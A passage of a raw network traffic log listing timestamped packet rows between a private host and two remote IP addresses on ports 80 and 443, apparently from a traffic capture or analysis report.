Oct 7, 2024 19:33:19.522645950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522663116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522679090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522684097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522684097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522695065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522702932 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522721052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522728920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522737026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522743940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522754908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522758961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522772074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522789001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522804022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522804976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522804022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522804022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522821903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522825956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522839069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522872925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522891998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.522963047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522979021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.522994041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523009062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523025036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523036957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523036957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523036957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523041010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523058891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523065090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523065090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523076057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523082018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523101091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523103952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523116112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523118019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523143053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523189068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523219109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523236990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523252010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523267984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523283005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523299932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523300886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523300886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523329020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523411989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523684025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523699045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523714066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523725986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523736954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523753881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523768902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523775101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523775101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523775101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523785114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523799896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523814917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523823023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523823023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523823023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523830891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523849010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523855925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523855925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523864985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523881912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523883104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523883104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523897886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523899078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523910046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523915052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523931026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.523952961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.523952961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.524332047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.564722061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.564910889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.573117018 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.573129892 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.573605061 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.573610067 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.625063896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.630748034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.666836977 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.667021990 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.667099953 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.667099953 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.667135954 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.667151928 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.670186043 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.670231104 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.670327902 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.670502901 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.670516968 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.689687014 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.690077066 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.690107107 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.690540075 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.690551996 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.697017908 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.697387934 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.697407961 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.697880983 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.697885990 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.705121040 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.705450058 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.705470085 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.706283092 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.706289053 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.737433910 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.737828016 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.737843037 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.738060951 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.738069057 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.793018103 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.793091059 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.793220997 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.793411016 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.793428898 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.793442011 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.793447971 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.795902967 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.795924902 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.795999050 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.796113014 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.796123981 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.798548937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798579931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798597097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798613071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798638105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798651934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798677921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798702002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798717976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798732996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798752069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798772097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798772097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798774958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798791885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798804998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798810005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798819065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798825979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798841953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798857927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798873901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798875093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798875093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798913956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798929930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798945904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798954964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798954964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798954964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798963070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798980951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.798993111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798993111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.798998117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799011946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799025059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799041033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799043894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799043894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799056053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799069881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799084902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799092054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799092054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799102068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799115896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799117088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799134016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799138069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799138069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799154043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799169064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799186945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799186945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799194098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799211025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799227953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799235106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799235106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799235106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799246073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799263954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799278021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799288988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799288988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799288988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799407005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799407005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799509048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799612999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799657106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799673080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799688101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799701929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799721003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799721003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799731016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799748898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799751043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799765110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799781084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799786091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799798965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799813986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799834967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799834967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799834967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799837112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799854994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799865961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799870014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799884081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799899101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799904108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799904108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799925089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799941063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799941063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799957037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799971104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.799971104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799988031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.799998045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800004005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800014973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800029993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800035000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800049067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800055027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800071001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800074100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800087929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800112963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800123930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800123930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800128937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800146103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800163984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800188065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800198078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800198078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800198078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800204039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800220966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800236940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800252914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800255060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800255060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800255060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800271034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800285101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800285101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800287962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800304890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800321102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800332069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800332069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800332069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800364017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800368071 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800368071 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800390005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800405025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800421000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800436020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800451994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800467968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800483942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800493002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800493002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800501108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800525904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800527096 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800528049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800528049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800539970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800554991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800570965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800580025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800580025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800580025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800595045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800611019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800611019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800612926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800628901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800645113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800652981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800652981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800659895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800668001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800678968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800704002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800719023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800719976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800719976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800719976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800745010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800745010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800761938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800842047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800888062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800888062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800888062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800889015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800915003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800930977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800931931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800947905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800970078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800970078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800972939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.800992012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.800997019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801013947 CEST	80	49718	46.8.231.109	192.168.2.7
